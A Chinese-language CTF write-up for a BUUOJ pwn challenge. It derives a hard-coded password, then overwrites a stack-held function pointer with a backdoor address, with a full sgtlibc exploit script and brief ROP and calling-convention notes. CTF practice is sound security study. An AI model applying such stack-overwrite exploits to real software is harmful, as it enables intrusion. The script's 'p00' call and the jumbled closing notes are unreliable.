来源:https://buuoj.cn/challenges
内容:
附件:链接:https://pan.baidu.com/s/1uBEYYeg9ouPDEOah-BHGQA?pwd=6si8 提取码:6si8
答案:PWN题为动态flag
检查题目逻辑发现执行call的地方
通过x键检查其被调用的地方发现var130
通过动调发现该值在栈中的位置,使用题目自带的后门函数完成
使用pip install sgtlibc安装pwn解题框架
发现是cpp的题目,在password_checker的第9行下断点到判断密码的位置,随后输入用户名admin,密码cylic(300)用于测试溢出点和调用点
题目是比较密码是否等于2jctf_pa5sw0rd,正确则跳转进入 (**a1)()
发现此处的值是aaaa,则我们将密码设置为2jctf_pa5sw0rd\x00 +cylic(300)继续测试。
同时通过回溯call eax的来源,发现其来自于ebp+var130,其在栈上的位置为0x48


故将payload 改为 b’2jctf_pa5sw0rd\x00’.ljust(0x48,b’\x00’)即可填充到call的位置,再加上p00(shell_addr)即可完成。
payload
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True,
file='./login',
remote='node4.buuoj.cn:27456',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
pause()
sl('admin')
# payload = ['2jctf_pa5sw0rd\x00', cyclic(300)]
# sla('pass',payload) # 测试溢出点
shell_addr = 0x0400E88
payload = b'2jctf_pa5sw0rd\x00'
payload = payload.ljust(0x48, b'\x00')
payload += p00(shell_addr)
sla('pass', payload)
interactive()
注意此处填充要使用\x00,否则会导致地址被破坏。

常见知识点
汇编
leave equal mov esp,ebp; pop ebp;
ret equal pop eip
函数参数
x86函数传参:直接从栈上读,且参数在返回地址上方
栈的执行顺序 ebp+(func1+f1_返回+f1_args)+(func2+f2_返回+f2_args)…
syscall的话则需要寄存器传参:ebx,ecx,edx,esi,edi,ebp
x64函数传参:按 rdi, rsi, rdx, rcx, r8, r9顺序读,后续的从栈上读
故x64需要调用ROP实现pop将参数从栈中传入寄存器
内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。
ret2libc注意事项
gdb/pwndb
内存查看
hex address sizevmmap 内存查看
调试
常用工具
gadget或rop-chain
python3版本中,生成的chain需要在所有的字符串前面加上b表示十六进制值,否则会出现str不能合并bytes的报错教程
system_addr后 a=system_ret ;b=p aram_1
system和/bin/shROPgadget --binary rop --ropchain获取可以直接使用的rop链ROPgadget --binary rop --only "pop|ret"获取可以存值的地方常见知识点